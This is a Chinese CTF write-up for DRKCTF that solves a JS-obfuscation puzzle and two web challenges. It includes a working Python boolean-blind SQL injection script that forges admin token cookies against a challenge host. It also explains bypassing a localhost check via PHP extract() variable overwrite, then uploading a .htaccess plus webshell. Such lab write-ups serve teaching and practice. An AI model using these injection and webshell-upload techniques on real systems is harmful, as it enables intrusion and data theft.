DRKCTF复现

Osint

羡慕群友每一天

MISC

签到

扫码关注公众号,回复一下行

(眼神要好, 我做题时没看见有个二维码)

神秘的文字

把代码js运行一下

(用js的原因是前面给的动物代表的字符类似jsfuck代码)

𓅂=+![];
𓂀=+!𓅂;
𓁄=𓂀+𓂀;
𓊎=𓁄+𓂀;
𓆣=𓁄*𓁄;
𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;
𓅬=𓆣+𓊎;
[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};
𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";
console.log(𓇎+𓂀+𓅂+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓅂+𓆣+𓇎+𓆣+𓂀+𓇎+𓂀+𓊎+𓂀+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓁄+𓊝+𓇎+𓂀+𓆫+𓁄+𓇎+𓆣+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓁄+𓅬+𓇎+𓂀+𓊝+𓅬+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆣+𓆣+𓇎+𓆣+𓅂+𓇎+𓂀+𓊝+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓅬+𓁄+𓇎+𓂀+𓊝+𓊝+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆫+𓆣+𓇎+𓆫+𓂀+𓇎+𓂀+𓂀+𓆫+𓇎+𓂀+𓊎+𓅬+𓇎+𓂀+𓂀+𓊎+𓇎+𓆫+𓂀+𓇎+𓂀+𓅂+𓊝+𓇎+𓂀+𓁄+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓆫+𓊎);

 是八进制,转成文本,我用脚本转,在线工具有乱码

import chardet

byte_str = b"\107\117\117\104\41\131\117\125\162\40\160\101\163\163\127\157\162\144\40\151\163\72\155\101\162\164\61\116\137\113\61\105\120\160\63"
byte_str_charset = chardet.detect(byte_str)  # 获取字节码编码格式

byte_str = str(byte_str, byte_str_charset.get('encoding'))  # 将八进制字节流转化为字符串
print(byte_str)

WEB

在经历过几次比赛以后发现现在比赛的web题,难度和脑洞都有,特别是在脚本和自动化工具的运用上要求很熟练,否则在做题时可能会感觉无从下手

EzLogin
TOKEN

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码

作用:

1. 身份验证令牌(Authentication Token):在身份验证过程中,令牌是一个用于证明用户身份的凭据。它可以是一个包含用户信息和其他标识符的加密字符串,例如用户名、角色、权限等。常见的身份验证令牌包括JWT(JSON Web Token)和OAuth令牌。

2. 会话令牌(Session Token):在Web应用程序中,会话令牌是一个用于标识用户会话的唯一标识符。它通常存储在客户端的Cookie中,并在用户登录后生成和发送到客户端。会话令牌可以帮助服务器跟踪用户的状态,例如用户是否已经登录,以及用户的特定会话数据。

3. 访问令牌(Access Token):在OAuth身份验证流程中,访问令牌是一个用于访问受保护资源的凭据。当用户通过OAuth授权后,授权服务器会颁发访问令牌给客户端应用程序,然后客户端可以使用该令牌来请求受保护资源。

4. CSRF令牌(Cross-Site Request Forgery Token):用于防止跨站请求伪造攻击的令牌。它是一个随机生成的字符串,嵌入到Web表单中,并在提交表单时与会话中存储的令牌进行比较。如果两者不匹配,则请求被视为潜在的CSRF攻击。

个人感觉如果了解过session的话,可能比较好理解token

进入靶场后,查看源代码发现有一个注册的页面,先注册一个账户,然后登录

(我注册的是admin1 123)

登录后会跳转到home.php,一开始我以为是登录的问题,反复尝试了几遍发现还是这个页面,只能抓包看看,发现了token,放厨师里面解密一下

是一串json的字符串,把admin改为1,修改token

在刷新home.php,发现会回显注册的用户和密码

 在大token里面还有一个小token,是md5,所以可以多注册几个用户尝试看home.php的回显

听有些大佬用的二次注入,应该是因为有页面回显了用户信息,所以二次注入构造恶意sql语句

这里使用布尔盲注,因为经过尝试后,发现存在sql注入

#导入库
import requests #用于发送HTTP请求
import base64 #用于进行Base64编码和解码
import hashlib #用于计算MD5哈希值
import binascii#用于在二进制数据和ASCII字符串之间进行转换
import json #用于处理JSON数据(因为要构建json的字符串形式)
#定义辅助函数
def bin2hex(binary_data):
    hex_data = binascii.hexlify(binary_data)
    return hex_data.decode('utf-8')
def hash_md5(input_string):
    md5_obj = hashlib.md5()
    md5_obj.update(input_string.encode('utf-8'))
    hash_string = md5_obj.hexdigest()
    return hash_string
def encode_base64(input_string):
    input_bytes = input_string.encode('utf-8')
    base64_bytes = base64.b64encode(input_bytes)
    base64_string = base64_bytes
    return base64_string
s=""
#循环构造和发送请求
for j in range(1,50):
    for i in range(32,130):
        inp="admin'/**/and/**/substr((select table_name from information_schema.tables where table_schema like 0x444b435446 LIMIT 2,1),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
        inp="admin'/**/and/**/substr((select sseeccrreett from secret),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
        inp=inp.replace(" ","/**/")
        md=hash_md5(inp)
        jso=json.dumps({"username":inp, "token":md, "is_admin":1})
        token=bin2hex(encode_base64(jso))
        headers={
        "Host":"challenge.qsnctf.com:32311",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Cookie":"TOKEN="+token
        }
        a=requests.get("http://challenge.qsnctf.com:32311/home.php",headers=headers)
#处理响应
        if("No user found." in a.text):
            pass
        elif("Hacker" in a.text):
            pass
            #print(chr(i),"*hacker")
            #print(a.text)
            #break
        else:#if("pass" in a.text):
            s+=chr(i)
            print(s)
            break

 

总结:这题主要就是抓住token,因为token是我们注册是生成的令牌,并且题目也给了hint是根据用户来输出密码,说明跟token有关,对于cookie中的session,token之类的东西要敏感一点

ezsign

dirsearch扫一下,发现index.php.bak 下载后打开,进行代码审计

?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);


    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD

大致的意思是:

  1. 首先,检查cookie中是否存在名为"token"的值。如果存在,则解码该token并提取出其中的用户名、密码以及其他信息。
  2. 然后,检查用户的IP地址是否为本地地址(127.0.0.1),如果是,则欢迎用户,并检查是否存在用户上传的头像文件。如果存在,则显示该头像;否则,提示用户上传头像的功能。
  3. 如果用户不是本地用户,则显示一个留言板,允许用户输入文本,并在点击按钮后将文本显示出来。
  4. 如果cookie中不存在"token"值,则显示一个登录表单,要求用户输入用户名和密码进行登录。

其中存在一个extract()函数,这个函数可能导致变量覆盖

extract - 从关联数组中提取变量 (键为变量名,值为变量值),导入系统

$data = array("username" => "john", "age" => 30);
extract($data);
echo $username; // 输出 "john"
echo $age;      // 输出 "30"

 前面要求是本地127.0.0.1访问的,所以可以利用extract来进行变量覆盖,通过上传_SERVER[REMOTE_ADDR]=127.0.0.1,被extract提取后导入系统中,进入upload页面

上传文件后,发现蚁剑连接不上,查看源码发现存在一个.htaccess

这里真不知道怎么判断出的解析不成功,赛方给了hint

(30分钟后,我明白了,当我上传了php后,直接访问显示的还是源码,所以来判断没有被解析

Dusk队的wp )

上传一个.htaccess配置文件,打开php解析引擎("php_flag engine 1"来打开引擎 )

之后蚁剑连接 /upload/admin/1.jpg,路径是图片路径

知识点:.htaccess和extract

.htaccess文件是一个用于配置 Apache Web 服务器的配置文件,它可以用来控制网站的行为,包括重定向、URL 重写、访问控制等。.htaccess 文件通常位于网站根目录下,它的名称以点开头,表示该文件是一个隐藏文件,用于存放敏感配置信息

  • 28
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值